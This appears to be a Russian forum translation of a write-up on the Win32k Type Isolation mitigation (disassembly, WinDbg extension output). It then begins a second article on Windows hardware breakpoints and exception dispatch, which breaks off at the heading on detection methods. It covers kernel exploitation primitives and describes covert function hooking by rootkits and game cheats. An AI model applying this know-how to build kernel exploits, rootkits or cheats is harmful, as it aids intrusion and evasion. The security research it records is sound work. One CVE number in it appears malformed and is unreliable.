CSectionBitmapAllocator этого нового CSectionEntry. Как и ожидалось,
CSectionBitmapAllocator::Allocate()
в основном дублирует процедуру,
описанную ранее: он находит чистый бит в RTL_BITMAP, он фиксирует
представление размером 0x1000 байт, соответствующее указанному свободному
биту, он отмечает этот бит как занятый в RTL_BITMAP и, наконец, он возвращает
адрес вновь созданного заголовка SURFACE в зафиксированном представлении.
Code:Copy to clipboard
.text:00000001C00398F1 loc_1C00398F1: ; CODE XREF: NSInstrumentation::CTypeIsolation<163840,640>::AllocateType(void)+3Dj
.text:00000001C00398F1 xor edx, edx ; if we land here, that means that we finished traversing
.text:00000001C00398F1 ; the list of CSectionEntry, without finding an empty slot
.text:00000001C00398F3 mov rcx, rdi
.text:00000001C00398F6 call cs:__imp_ExReleasePushLockSharedEx
.text:00000001C00398FC call cs:__imp_KeLeaveCriticalRegion
.text:00000001C0039902 call NSInstrumentation::CSectionEntry<163840,640>::Create(void)
.text:00000001C0039907 mov rdi, rax ; rdi = new CSectionEntry
.text:00000001C003990A test rax, rax
.text:00000001C003990D jz short loc_1C003996D
.text:00000001C003990F mov rcx, [rax+20h] ; rcx = CSectionEntry->bitmap_allocator
.text:00000001C0039913 call NSInstrumentation::CSectionBitmapAllocator<163840,640>::Allocate(void) ; *** do the actual SURFACE header allocation
.text:00000001C0039918 mov rbp, rax ; rbp = return value, allocated SURFACE header
Наконец, вновь созданный CSectionEntry вставляется в конец двусвязного списка, как подробно описано ниже. Обратите внимание, что перед работой с указателями списка выполняется проверка целостности: код проверяет, указывает ли следующий указатель CTypeIsolation->previous на заголовок CTypeIsolation.
Code:Copy to clipboard
.text:00000001C0039939 mov rcx, [r13+8] ; rcx = CTypeIsolation->previous
.text:00000001C003993D cmp [rcx], r13 ; CTypeIsolation->previous->next == CTypeIsolation ?
.text:00000001C0039940 jnz FatalListEntryError_9 ; if not, the list is corrupted
.text:00000001C0039946 mov [rdi+8], rcx ; CSectionEntry->previous = CTypeIsolation->previous
.text:00000001C003994A xor edx, edx
.text:00000001C003994C mov [rdi], r13 ; CSectionEntry->next = CTypeIsolation
.text:00000001C003994F mov [rcx], rdi ; CTypeIsolation->previous->next = CSectionEntry
.text:00000001C0039952 mov rcx, rbx
.text:00000001C0039955 add dword ptr [r13+18h], 0F0h ; CTypeIsolation->size += 0xF0
.text:00000001C003995D mov [r13+8], rdi ; CTypeIsolation->previous = CSectionEntry
Освобождение объектов SURFACE выполняется в функции
win32kbase!SURFACE::Free()
. Эта функция начинается с освобождения выделения
пула, который содержит буфер данных пикселей:
Code:Copy to clipboard
.text:00000001C002DC9A cmp byte ptr [rbp+270h], 0 ; boolean is_kernel_mode_pixel_data_buffer
.text:00000001C002DCA1 loc_1C002DCA1: ; DATA XREF: .rdata:00000001C017D540o
.text:00000001C002DCA1 mov [rsp+48h+arg_8], rbx
.text:00000001C002DCA6 jz short loc_1C002DCCC ; if byte[SURFACE+0x270] == 0, the pixel data buffer is not freed
.text:00000001C002DCA8 mov rbx, [rbp+48h] ; rbx = SURFACE->pvScan0
.text:00000001C002DCAC test rbx, rbx
.text:00000001C002DCAF jz short loc_1C002DCCC
.text:00000001C002DCB1 call cs:__imp_IsWin32FreePoolImplSupported
.text:00000001C002DCB7 test eax, eax
.text:00000001C002DCB9 js short loc_1C002DCC4
.text:00000001C002DCBB mov rcx, rbx
.text:00000001C002DCBE call cs:__imp_Win32FreePoolImpl ; frees the pixel data buffer
После этого он берет заголовок CTypeIsolation и начинает обход двусвязного
списка объектов CSectionEntry, пытаясь определить, какой CSectionEntry
содержит заголовок SURFACE, который он пытается освободить. Для этого он
просто проверяет, есть ли CSectionEntry->view <= SURFACE <= CSectionEntry-> view + 0x28000
. Обратите внимание, что при этой проверке может быть ошибка,
поскольку, вероятно, это должно быть CSectionEntry->view <= SURFACE <CSectionEntry-> view + 0x28000
(< вместо <= во втором сравнении).
Code:Copy to clipboard
.text:00000001C002DCCC mov rax, cs:uchar * * gpTypeIsolation
.text:00000001C002DCD3 mov rsi, [rax] ; rsi = CTypeIsolation head
[...]
.text:00000001C002DD08 mov rbx, [rsi] ; rbx = CTypeIsolation->next
.text:00000001C002DD0B cmp rbx, rsi ; next == CTypeIsolation ?
.text:00000001C002DD0E jz loc_1C002DDFF ; if so, there's no CSectionEntry
.text:00000001C002DD14 mov r12, 0CCCCCCCCCCCCCCCDh
.text:00000001C002DD1E xchg ax, ax
.text:00000001C002DD20 loc_1C002DD20: ; CODE XREF: SURFACE::Free(SURFACE *)+C5j
.text:00000001C002DD20 mov r14, [rbx+20h] ; r14 = CSectionEntry->bitmap_allocator
.text:00000001C002DD24 mov r8, [r14+10h] ; r8 = bitmap_allocator->xor_key
.text:00000001C002DD28 mov rax, r8
.text:00000001C002DD2B xor rax, [r14+8] ; rax = xor_key ^ xored_view
.text:00000001C002DD2F cmp rbp, rax ; SURFACE < view?
.text:00000001C002DD32 jb short loc_1C002DD3F ; ...if so, skip to the next CSectionEntry
.text:00000001C002DD34 add rax, 28000h ; view += section_size
.text:00000001C002DD3A cmp rbp, rax ; SURFACE <= end of last view?
.text:00000001C002DD3D jbe short loc_1C002DD4C ; if so, we found the view containing the SURFACE header
Когда эти условия выполнены, то есть мы обнаружили, что CSectionEntry, содержащий заголовок SURFACE, должен быть освобожден, индекс этой SURFACE в его View контейнере вычисляется (называемый здесь index_within_view), беря 3 младших полубайта адреса SURFACE и разделив их на 0x280:
Code:Copy to clipboard
.text:00000001C002DD4C loc_1C002DD4C: ; CODE XREF: SURFACE::Free(SURFACE *)+BDj
.text:00000001C002DD4C mov rcx, rbp ; rcx = SURFACE header
.text:00000001C002DD4F mov rax, r12
.text:00000001C002DD52 and ecx, 0FFFh
.text:00000001C002DD58 mul rcx
.text:00000001C002DD5B mov r15, rdx
.text:00000001C002DD5E shr r15, 9 ; r15 = (SURFACE & 0xfff) / 0x280 == index_within_view
.text:00000001C002DD62 lea rax, [r15+r15*4]
.text:00000001C002DD66 shl rax, 7 ; rax = r15 * 0x5 * 0x80 == r15 * 0x280
.text:00000001C002DD6A sub rcx, rax ; if rcx == rax, it's ok
.text:00000001C002DD6D jnz short loc_1C002DD3F
Затем адрес SURFACE необходимо отобразить в битовый индекс, который
представляет его в RTL_BITMAP. Чтобы получить соответствующий битовый индекс,
он получает view_index (то есть, в котором 0x1000-байтовом View находится этот
объект SURFACE), а затем просто выполняет этот расчет: view_index * 6 + index_within_view
.
Code:Copy to clipboard
.text:00000001C002DD72 mov eax, ebp ; eax = lo_dword(SURFACE)
.text:00000001C002DD74 xor ecx, [r14+8] ; ecx = lo_dword(xor_key) ^ lo_dword(xored_view)
.text:00000001C002DD78 sub eax, ecx ; eax = lo_dword(SURFACE) - lo_dword(view)
.text:00000001C002DD7A mov rcx, [r14+18h] ; rcx = CSectionBitmapAllocator->xored_rtl_bitmap
.text:00000001C002DD7E shr eax, 0Ch ; eax /= 0x1000 == view_index
.text:00000001C002DD81 xor rcx, r8 ; BitMapHeader = xored_rtl_bitmap ^ xor_key
.text:00000001C002DD84 lea eax, [rax+rax*2]
.text:00000001C002DD87 lea edx, [r15+rax*2] ; BitNumber = view_index * 6 + index_within_view
.text:00000001C002DD8B call cs:__imp_RtlTestBit
.text:00000001C002DD91 test al, al
.text:00000001C002DD93 jz short loc_1C002DD3F ; bit is turned off?
Значение рассчитанного битового индекса проверяется с помощью
nt!RtlTestBit()
; если он установлен в 1, как и ожидалось, то выполнение
продолжается во фрагменте кода ниже. Как показано здесь, он вызывает
CSectionBitmapAllocator::ContainsAllocation()
(однако логическое значение,
возвращаемое этой функцией, вообще не проверяется), а затем очищает
соответствующий бит в RTL_BITMAP, вызывая nt!RtlClearBit()
, отмечая слот как
cвободный. Наконец, он очищает память от освобожденного заголовка SURFACE,
вызывая memset()
, и битовый индекс свободного слота сохраняется как
bitmap_hint_index, чтобы ускорить будущие операции.
Code:Copy to clipboard
.text:00000001C002DDA9 mov rdx, rbp ; rdx = SURFACE header
.text:00000001C002DDAC mov rcx, r14 ; rcx = bitmap_allocator
.text:00000001C002DDAF call NSInstrumentation::CSectionBitmapAllocator<163840,640>::ContainsAllocation(void const *)
.text:00000001C002DDB4 mov ecx, [r14+8] ; ecx = CSectionBitmapAllocator->xored_view
.text:00000001C002DDB8 mov eax, ebp ; [!] return value from ContainsAllocation() is not checked
.text:00000001C002DDBA xor ecx, [r14+10h] ; CSectionBitmapAllocator->xored_view ^ CSectionBitmapAllocator->xor_key
.text:00000001C002DDBE sub eax, ecx ; eax = lo_dword(SURFACE) - lo_dword(view)
.text:00000001C002DDC0 mov rcx, [r14+18h] ; rcx = CSectionBitmapAllocator->xored_rtl_bitmap
.text:00000001C002DDC4 xor rcx, [r14+10h] ; BitMapHeader = xored_rtl_bitmap ^ xor_key
.text:00000001C002DDC8 shr eax, 0Ch ; eax /= 0x1000 == view_index
.text:00000001C002DDCB lea eax, [rax+rax*2]
.text:00000001C002DDCE lea esi, [r15+rax*2]
.text:00000001C002DDD2 mov edx, esi ; BitNumber = view_index * 6 + index_within_view
.text:00000001C002DDD4 call cs:__imp_RtlClearBit ; mark the slot as available
.text:00000001C002DDDA xor edx, edx ; Val
.text:00000001C002DDDC mov r8d, 280h ; Size
.text:00000001C002DDE2 mov rcx, rbp ; Dst
.text:00000001C002DDE5 call memset ; null-out the freed SURFACE header in the view
.text:00000001C002DDEA xor edx, edx
.text:00000001C002DDEC mov [r14+20h], esi ; bitmap_allocator->bitmap_hint_index = index of freed slot
Расширение Windbg
Во время реверс-инжиниринга Win32k Type Isolation я разработал небольшое
расширение WinDbg, которое помогает мне определять состояние структур Type
Isolation.
Расширение доступно на: https://github.com/fdfalcon/TypeIsolationDbg
Расширение WinDbg предоставляет следующие команды:
win32kbase!gpTypeIsolation
)Выходные данные расширения включают несколько интерактивных ссылок, которые помогут вам следить за структурами данных Type Isolation. Он также декодирует указатели XORed, чтобы сэкономить вам время. В следующем фрагменте кода показаны выходные данные TypeIsolationDbg при выгрузке глобального объекта CTypeIsolation и следовании структурам данных для одного CSectionEntry, вплоть до карты битов, представляющих занятое/свободное состояние слотов CSectionEntry:
Code:Copy to clipboard
kd> !gptypeisolation
win32kbase!gpTypeIsolation is at address 0xffffe6cf95138a98.
Pointer [1] stored at win32kbase!gpTypeIsolation: 0xffffe6a4400006b0.
Pointer [2]: 0xffffe6a440000680.
NSInstrumentation::CTypeIsolation
+0x000 next : 0xffffe6a440000620
+0x008 previous : 0xffffe6a441d8ca20
+0x010 pushlock : 0xffffe6a440000660
+0x018 size : 0xF00 [number of section entries: 0x10]
kd> !sectionentry ffffe6a440000620
NSInstrumentation::CSectionEntry
+0x000 next : 0xffffe6a441ca2470
+0x008 previous : 0xffffe6a440000680
+0x010 section : 0xffff86855f09f260
+0x018 view : 0xffffe6a4403a0000
+0x020 bitmap_allocator : 0xffffe6a4400005e0
kd> !sectionbitmapallocator ffffe6a4400005e0
NSInstrumentation::CSectionBitmapAllocator
+0x000 pushlock : 0xffffe6a4400005c0
+0x008 xored_view : 0xa410b31c3f332f4c [decoded: 0xffffe6a4403a0000]
+0x010 xor_key : 0x5bef55b87f092f4c
+0x018 xored_rtl_bitmap : 0xa410b31c3f092acc [decoded: 0xffffe6a440000580]
+0x020 bitmap_hint_index : 0xC0
+0x024 num_commited_views : 0x27
kd> !rtlbitmap ffffe6a440000580
RTL_BITMAP
+0x000 size : 0xF0
+0x008 bitmap_buffer : 0xffffe6a440000590
kd> dyb ffffe6a440000590 L20
76543210 76543210 76543210 76543210
-------- -------- -------- --------
ffffe6a4`40000590 00000101 00000000 00000110 10110000 05 00 06 b0
ffffe6a4`40000594 00011100 10000000 11011011 11110110 1c 80 db f6
ffffe6a4`40000598 01111101 11111111 11111111 11111111 7d ff ff ff
ffffe6a4`4000059c 11111111 11011111 11110111 01111111 ff df f7 7f
ffffe6a4`400005a0 11111111 11111111 11111111 01111111 ff ff ff 7f
ffffe6a4`400005a4 11111101 11111001 11111111 01101111 fd f9 ff 6f
ffffe6a4`400005a8 11111110 11111111 11111111 11111111 fe ff ff ff
ffffe6a4`400005ac 11111111 00000011 00000000 00000000 ff 03 00 00
Заключение
Изоляции типов, реализованная в компоненте Win32k Windows 10 1709, изменяет
способ выделения объектов Bitmap GDI в пространстве ядра: заголовок SURFACE
выделяется в представлении раздела, а буфер данных пикселей выделяется в пуле
PagedPoolSession. Это определенно исключает обычную технику эксплуатации,
заключающуюся в использовании Bitmap в качестве целей для ограниченных
уязвимостей, связанных с повреждением памяти, поскольку больше невозможно
сделать выровненный спрей из соседних Bitmap, где за концом буфера данных
пикселей сразу же следует заголовок следующего объекта SURFACE
Между тем, разработчики эксплойтов уже перешли на другие полезные объекты ядра, такие как Palettes [5] [6] [7].
Любопытно, что объект CSectionBitmapAllocator сохраняет как указатель на представления разделов, так и указатель на RTL_BITMAP, запутанный с помощью операции XOR, однако родительская структура CSectionEntry сохраняет тот же указатель на представления в обычном виде.
Ссылки
[1] - https://msdn.microsoft.com/en-us/library/dd183377(v=vs.85).aspx
[2] - [https://www.coresecurity.com/system...6/10/Abusing-GDI-Reloaded-
ekoparty-2016_0.pdf](https://www.coresecurity.com/system/files/publications/2016/10/Abusing-
GDI-Reloaded-ekoparty-2016_0.pdf)
[3] - <https://docs.microsoft.com/en-us/windows-
hardware/drivers/kernel/section-objects-and-views>
[4] - <https://docs.microsoft.com/en-us/windows-
hardware/drivers/kernel/managing-memory-sections>
[5] - <https://sensepost.com/blog/2017/abusing-gdi-objects-for-
ring0-primitives-revolution/>
[6] -
https://labs.bluefrostsecurity.de/f...ring0_exploit_primitives_Evolution_Slides.pdf
[7] - <http://theevilbit.blogspot.com/2017/10/abusing-gdi-objects-for-
kernel.html>
От ТС
Оригинал доступен тут - <https://blog.quarkslab.com/reverse-engineering-the-
win32k-type-isolation-mitigation.html>
Очень интересная и подробная статья, и не менее интересное расширение для
WinDbg
Перевод:
Azrv3l cпециально для xss.is
Аппаратные брейкпоинты в основном используются для отладки. В отличие от обычных точек останова, они не требуют модификации кода и более универсальны. Из-за этого они часто используются при отладке целей, которые используют тактику защиты от отладки. В этой статье подробно описывается внутренняя работа аппаратных брейкпоинтов в Windows, а также рассматриваются некоторые общие способы использования и методы обнаружения.
0.0 Предисловие
Исследование в этом блоге проводилось на 64-битной Windows 10 20H1. Возможно,
что некоторые методы могут быть похожи на 32-битную Windows, однако это не
является основной темой этого сообщения. Более того, эти методы, вероятно,
будут сильно отличаться в других операционных системах, таких как Linux и OSX,
из-за архитектурных различий.
1.0 Краткое руководство по регистрам отладки
Читатели, знакомые с регистрами отладки, могут сразу перейти к разделу 2.0.
Аппаратные брейкпоинты доступны как на x86, так и на x64. Они реализованы с помощью 8 регистров отладки, с именами от DR0 до DR7. Эти регистры имеют длину 32 и 64 бита на x86 и x64 соответственно. Расположение регистров на архитектуре x64 можно увидеть на рисунке ниже. Не волнуйтесь, если рисунок кажется запутанным, мы рассмотрим каждый регистр более подробно. Если вы хотите узнать больше о более тонких деталях регистров отладки, Intel SDM и AMD APM - отличные ресурсы.
От DR0 до DR3 упоминаются как «Регистры адреса отладки» или «Регистры адреса точки останова». Они очень просты, поскольку содержат только линейный адрес точки останова. Когда этот адрес совпадает с инструкцией или ссылкой на данные, возникает остановка. Регистр отладки DR7 можно использовать для более детального управления условиями каждой точки останова. Поскольку регистры должны быть заполнены линейным адресом, они будут работать, даже если пейджинг отключён. В этом случае линейный адрес будет таким же, как физический адрес.
DR4 и DR5 и «Зарезервированные регистры отладки». Несмотря на то, что можно предположить из их названия, они не всегда зарезервированы и могут использоваться. Их функциональность зависит от значения поля DE в регистре управления CR4. Когда этот бит включен, точки останова ввода-вывода включены, и попытка доступа к одному из регистров приводит к генерации исключения #UD. Однако, когда бит DE не активирован, регистры отладки DR4 и DR5 отображаются в DR6 и DR7 соответственно. Это сделано для совместимости с ПО для старых процессоров.
1.3 DR6
Когда срабатывает аппаратная точка останова, статус отладки сохраняется в
регистре отладки DR6. Вот почему этот регистр называется «Регистром состояния
отладки». Он содержит биты для быстрой проверки, были ли запущены определенные
события.
Биты с 0 по 3 устанавливаются в зависимости от того, какая аппаратная точка останова запускается. Это используется для быстрой проверки сработавшей точки останова.
Бит 13 называется BD и устанавливается, если текущее исключение запускается из-за доступа к регистру отладки. Бит GD должен быть активирован в DR7 для запуска этого типа исключения.
Бит 14 называется BS и устанавливается, если текущее исключение запускается из-за одиночного шага. Флаг TF должен быть включен в регистре EFLAGS для запуска этого типа исключения.
Бит 15 называется TS и устанавливается, если текущее исключение запускается из-за того, что текущая задача переключилась на задачу, для которой включен флаг отладочной ловушки.
DR7 называется «Регистром управления отладкой» и позволяет детально контролировать каждую точку останова. Первые 8 битов определяют, включена ли конкретная аппаратная точка останова. Четные биты (0, 2, 4 и 6), называемые L0
Биты 8 и 9 называются LE и GE и представляют собой устаревшие функции, которые ничего не делают в современных процессорах. Эти биты использовались для указания процессору определить точную инструкцию, на которой возникла точка останова. Все условия точки останова на современных процессорах точны. Для совместимости со старым оборудованием рекомендуется всегда устанавливать оба бита в 1.
Бит 13 называется GD и очень интересен. Если этот бит включен, исключение отладки будет генерироваться всякий раз, когда инструкция пытается получить доступ к регистру отладки. Чтобы отличить этот тип исключения от обычного исключения аппаратной точки останова, в регистре отладки DR6 включен флаг BD. Этот бит обычно используется для предотвращения вмешательства программ в регистры отладки. Важно помнить, что исключение происходит до выполнения инструкции, и этот флаг автоматически удаляется процессором при вводе обработчика исключения отладки. Однако это решение не идеально, поскольку оно работает только с использованием инструкций MOV для доступа к регистру отладки. Они недоступны в пользовательском режиме, и, судя по моему тестированию, функции GetThreadContext и SetThreadContext не запускают это событие. Это делает невозможным использование этого обнаружения в пользовательском режиме.
Биты с 16 по 31 используются для управления условиями и размером каждой аппаратной точки останова. Каждый регистр имеет 4 бита, которые разделены на 2 2-битных поля. Первые 2 бита используются для определения типа аппаратной точки останова. Исключение отладки можно генерировать только при выполнении инструкции, записи данных, чтении и записи ввода-вывода, чтении и записи данных. Чтение и запись ввода-вывода разрешены только в том случае, если включено поле DE в регистре управления CR4, в противном случае это условие является неопределенным поведением. Размером можно управлять, используя последние 2 бита, и он используется для указания размера ячейки памяти по указанному адресу. Доступные размеры: 1 байт, 2 байта, 4 байта и 8 байтов.
1.5 Использование
Использование регистров отладки довольно просто. Существуют специальные
инструкции для перемещения содержимого из регистра общего назначения в регистр
отладки или наоборот. Однако эти инструкции могут быть выполнены только на
уровне привилегий 0, в противном случае будет сгенерировано исключение #GP
(0). Чтобы разрешить приложениям пользовательского режима изменять регистр
отладки, Windows добавила поддержку изменения этих регистров с помощью
SetThreadContext и GetThreadContext API. Пример использования этих функций
показан в следующем фрагменте кода.
C++:Copy to clipboard
/* Инициализация контекстной структуры */
CONTEXT context = { 0 };
context.ContextFlags = CONTEXT_ALL;
/* Заполнить контекстную структуру, контекстом текущего потока */
GetThreadContext(GetCurrentThread(), &context);
/* Установить локальную 1-байтовую аппаратную точку останова на test_func */
context.Dr0 = (DWORD64)&test_func;
context.Dr7 = 1 << 0;
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
/* Установить контекст */
SetThreadContext(GetCurrentThread(), &context);
2.0 Windows и исключения
Теперь, когда мы знаем, как использовать аппаратные точки останова, пора
посмотреть, как Windows справляется с ними.
Когда срабатывает аппаратная точка останова, независимо от причины запускается исключение #DB. Это соответствует прерыванию №1, что означает, что выполнение будет перенаправлено обработчику прерывания 1. Для получения дополнительной информации о том, как обрабатываются исключения, я рекомендую прочитать это сообщение, написанное Daax.
В Windows каждый обработчик прерывания инициализируется во время загрузки. Как
именно это будет сделано, пока не важно. Каждый обработчик прерывания можно
найти в таблице KiInterruptInitTable
в ntoskrnl.exe. Это показывает нам, что
KiDebugTrapOrFault
является обработчиком прерывания для прерывания №1.
Вторую функцию каждой записи пока можно игнорировать, она связана с смягчением
последствий Meltdown, которое было добавлено в Windows.
KiDebugTrapOrFault
начинает с выполнения некоторых проверок
работоспособности, чтобы убедиться в правильности GS. Эти проверки были
добавлены для смягчения последствий
[CVE-2018-88974](https://www.triplefault.io/2018/05/spurious-db-exceptions-
with-pop-ss.html). Если все верно, вызывается KxDebugTrapOrFault
. Эта
функция эквивалентна KiDebugTrapOrFault
до добавления защиты. Функция
начинается с сохранения определенных регистров в TrapFrame. Остальная часть
функции не очень полезна для нас, но она проверяет некоторые вещи, такие как
SMAP. В конце функции вызывается KiExceptionDispatch
.
KiExceptionDispatch
немного интереснее предыдущих функций. Он начинается с
выделения ExceptionFrame
в стеке и его заполнения. После этого он сохраняет
несколько энергонезависимых регистров. Как только это будет сделано, функция
создаст ExceptionRecord
и заполнит его информацией о текущем исключении.
После этого вызывается KiDispatchException
.
Code:Copy to clipboard
.text:00000001403EF940 KiExceptionDispatch proc near
.text:00000001403EF940
.text:00000001403EF940 ExceptionFrame = _KEXCEPTION_FRAME ptr -1D8h
.text:00000001403EF940 ExceptionRecord = _EXCEPTION_RECORD ptr -98h
.text:00000001403EF940
.text:00000001403EF940 sub rsp, 1D8h
.text:00000001403EF947 lea rax, [rsp+1D8h+ExceptionFrame._Rbx]
.text:00000001403EF94F movaps xmmword ptr [rsp+1D8h+ExceptionFrame._Xmm6.Low], xmm6
.text:00000001403EF954 movaps xmmword ptr [rsp+1D8h+ExceptionFrame._Xmm7.Low], xmm7
.text:00000001403EF959 movaps xmmword ptr [rsp+1D8h+ExceptionFrame._Xmm8.Low], xmm8
.text:00000001403EF95F movaps xmmword ptr [rsp+1D8h+ExceptionFrame._Xmm9.Low], xmm9
.text:00000001403EF965 movaps xmmword ptr [rsp+1D8h+ExceptionFrame._Xmm10.Low], xmm10
.text:00000001403EF96B movaps xmmword ptr [rax-80h], xmm11
.text:00000001403EF970 movaps xmmword ptr [rax-70h], xmm12
.text:00000001403EF975 movaps xmmword ptr [rax-60h], xmm13
.text:00000001403EF97A movaps xmmword ptr [rax-50h], xmm14
.text:00000001403EF97F movaps xmmword ptr [rax-40h], xmm15
.text:00000001403EF984 mov [rax], rbx
.text:00000001403EF987 mov [rax+8], rdi
.text:00000001403EF98B mov [rax+10h], rsi
.text:00000001403EF98F mov [rax+18h], r12
.text:00000001403EF993 mov [rax+20h], r13
.text:00000001403EF997 mov [rax+28h], r14
.text:00000001403EF99B mov [rax+30h], r15
[...]
.text:00000001403EF9BD lea rax, [rsp+1D8h+ExceptionFrame.Return]
.text:00000001403EF9C5 mov [rax], ecx
.text:00000001403EF9C7 xor ecx, ecx
.text:00000001403EF9C9 mov [rax+4], ecx
.text:00000001403EF9CC mov [rax+8], rcx
.text:00000001403EF9D0 mov [rax+10h], r8
.text:00000001403EF9D4 mov [rax+18h], edx
.text:00000001403EF9D7 mov [rax+20h], r9
.text:00000001403EF9DB mov [rax+28h], r10
.text:00000001403EF9DF mov [rax+30h], r11
.text:00000001403EF9E3 mov r9b, [rbp+0F0h]
.text:00000001403EF9EA and r9b, 1 ; PreviousMode
.text:00000001403EF9EE mov byte ptr [rsp+1D8h+ExceptionFrame.P5], 1 ; FirstChance
.text:00000001403EF9F3 lea r8, [rbp-80h] ; TrapFrame
.text:00000001403EF9F7 mov rdx, rsp ; ExceptionFrame
.text:00000001403EF9FA mov rcx, rax ; ExceptionRecord
[...]
.text:00000001403EFA67 SkipExceptionStack:
.text:00000001403EFA67 call KiDispatchException
KiDispatchException
- это довольно длинная функция, в которой исключение
наконец отправляется обработчику исключений. Ну, почти. Короче говоря, эта
функция применит некоторые преобразования к коду исключения, объединит
TrapFrame
и ExceptionFrame
в ContextRecord
и предварительно обработает
исключение, вызвав KiPreprocessFault
. Что происходит здесь, зависит от того,
произошло ли исключение из режима пользователя или режима ядра. В обоих
случаях это позволит отладчику обработать это как первый и второй шанс.
Если исключение пришло из режима ядра, будет вызвано исключение
RtlDispatchException
, которое будет искать любые обработчики SEH и вызывать
их. Если он не может найти обработчик SEH или если исключение не
обрабатывается правильно, система выполнит проверку ошибок, вызвав
KeBugCheckEx
. Если исключение возникло из пользовательского режима,
некоторые поля в TrapFrame
будут исправлены, например указатель стека.
Наконец, указатель инструкции в TrapFrame
будет перезаписан адресом
KeUserExceptionDispatcher
. Мы скоро узнаем, что делает эта функция.
ExceptionRecord
и ContextRecord
копируются в стек пользователя, и функция
вернется.
Вернувшись в KiExceptionDispatch
, мы просто очистим стек, восстановим
изменчивое состояние, которое мы сохранили ранее, и вернемся в
пользовательский режим с помощью iretq. Поскольку мы ранее перезаписали стек
пользователя, поток выполнения возобновляется из KeUserExceptionDispatcher
.
Code:Copy to clipboard
.text:00000001403EFA6C lea rcx, [rsp+1D8h+ExceptionFrame._Rbx] ; rcx = _KTRAP_FRAME
.text:00000001403EFA74 movaps xmm6, xmmword ptr [rsp+1D8h+ExceptionFrame._Xmm6.Low]
.text:00000001403EFA79 movaps xmm7, xmmword ptr [rsp+1D8h+ExceptionFrame._Xmm7.Low]
.text:00000001403EFA7E movaps xmm8, xmmword ptr [rsp+1D8h+ExceptionFrame._Xmm8.Low]
.text:00000001403EFA84 movaps xmm9, xmmword ptr [rsp+1D8h+ExceptionFrame._Xmm9.Low]
.text:00000001403EFA8A movaps xmm10, xmmword ptr [rsp+1D8h+ExceptionFrame._Xmm10.Low]
.text:00000001403EFA90 movaps xmm11, xmmword ptr [rcx-80h]
.text:00000001403EFA95 movaps xmm12, xmmword ptr [rcx-70h]
.text:00000001403EFA9A movaps xmm13, xmmword ptr [rcx-60h]
.text:00000001403EFA9F movaps xmm14, xmmword ptr [rcx-50h]
.text:00000001403EFAA4 movaps xmm15, xmmword ptr [rcx-40h]
.text:00000001403EFAA9 mov rbx, [rcx]
.text:00000001403EFAAC mov rdi, [rcx+8]
.text:00000001403EFAB0 mov rsi, [rcx+10h]
.text:00000001403EFAB4 mov r12, [rcx+18h]
.text:00000001403EFAB8 mov r13, [rcx+20h]
.text:00000001403EFABC mov r14, [rcx+28h]
.text:00000001403EFAC0 mov r15, [rcx+30h]
[...]
.text:00000001403EFBEC mov rdx, [rbp-40h]
.text:00000001403EFBF0 mov rcx, [rbp-48h]
.text:00000001403EFBF4 mov rax, [rbp-50h]
.text:00000001403EFBF8 mov rsp, rbp
.text:00000001403EFBFB mov rbp, [rbp+0D8h]
.text:00000001403EFC02 add rsp, 0E8h
[...]
.text:00000001403EFC17 swapgs
.text:00000001403EFC1A iretq
Помните тот адрес KeUserExceptionDispatcher
, который мы установили ранее? На
самом деле это KiUserExceptionDispatcher
, который находится в ntdll.dll. Эта
функция отвечает за обработку исключений в пользовательском режиме. Он получит
ExceptionRecord
и Context
из исключения и передаст выполнение в
RtlDispatchException
. Я не буду вдаваться в подробности здесь, но в конечном
итоге он проверит обработчики исключений SEH и VEH и вызовет их, если они
есть.
Code:Copy to clipboard
.text:000000018009EBF0 KiUserExceptionDispatcher proc near
.text:000000018009EBF0 cld
.text:000000018009EBF1 mov rax, cs:Wow64PrepareForException
.text:000000018009EBF8 test rax, rax
.text:000000018009EBFB jz short loc_18009EC0C
.text:000000018009EBFD mov rcx, rsp
.text:000000018009EC00 add rcx, 4F0h
.text:000000018009EC07 mov rdx, rsp
.text:000000018009EC0A call rax ; Wow64PrepareForException
.text:000000018009EC0C
.text:000000018009EC0C loc_18009EC0C:
.text:000000018009EC0C mov rcx, rsp
.text:000000018009EC0F add rcx, 4F0h
.text:000000018009EC16 mov rdx, rsp
.text:000000018009EC19 call RtlDispatchException
.text:000000018009EC1E test al, al
.text:000000018009EC20 jz short loc_18009EC2E
.text:000000018009EC22 mov rcx, rsp
.text:000000018009EC25 xor edx, edx
.text:000000018009EC27 call RtlGuardRestoreContext
.text:000000018009EC2C jmp short loc_18009EC43
.text:000000018009EC2E ; ---------------------------------------------------------------------------
.text:000000018009EC2E
.text:000000018009EC2E loc_18009EC2E:
.text:000000018009EC2E mov rcx, rsp
.text:000000018009EC31 add rcx, 4F0h
.text:000000018009EC38 mov rdx, rsp
.text:000000018009EC3B xor r8b, r8b
.text:000000018009EC3E call ZwRaiseException
.text:000000018009EC43
.text:000000018009EC43 loc_18009EC43:
.text:000000018009EC43 mov ecx, eax
.text:000000018009EC45 call RtlRaiseStatus
.text:000000018009EC45 KiUserExceptionDispatcher endp
Как упоминается в их названии, регистры отладки в основном используются для целей отладки. В то время как обычные точки останова требуют редактирования сборки для добавления инструкции точки останова, аппаратные точки останова можно использовать без изменения какой-либо сборки. Это особенно полезно при работе с самомодифицирующимся кодом или проверками целостности.
Благодаря скрытому использованию и встроенным средствам управления
безопасностью (см. DR7, бит 13) они также являются любимым инструментом
авторов вредоносных программ, особенно руткитов. Они позволяют вредоносному ПО
незаметно перехватить функцию. Это можно использовать для перехвата важных
системных процедур, таких как KiSystemCall64
в Windows или do_debug
в
Linux5.
Конечно, эти методы также используются читами, которые хотят оставаться
скрытыми от античитов. Регистры отладки можно использовать для перехвата
важных игровых функций и реализации пользовательской логики. Хорошим примером
этого является ловушка [Outlines
VEH](https://www.unknowncheats.me/forum/overwatch/360661-outlines-veh-
hook.html), выпущенная EBFE для Overwatch. Регистр отладки помещается в
функцию, отвечающую за рисование контуров проигрывателя, а обработчик
исключений регистрируется с помощью AddVectoredExceptionHandler
. Когда игра
вызывает функцию outlines, аппаратная точка останова срабатывает и
перенаправляет поток управления зарегистрированному обработчику исключений.
Здесь он проверяет, исходит ли исключение из функции контуров, и редактирует
некоторые данные, чтобы игра рисовала контур для всех игроков. Похоже, эта
техника довольно хороша, поскольку Blizzard, похоже, не может ее обнаружить.
4.0 Общие векторы обнаружения
В последнем разделе мы рассмотрим некоторые общие векторы обнаружения
аппаратных точек останова. Для простоты к примерам не будут применяться какие-
либо методы запутывания, и это оставлено в качестве упражнения для читателя.
Вы можете быть настолько безумным, насколько хотите.
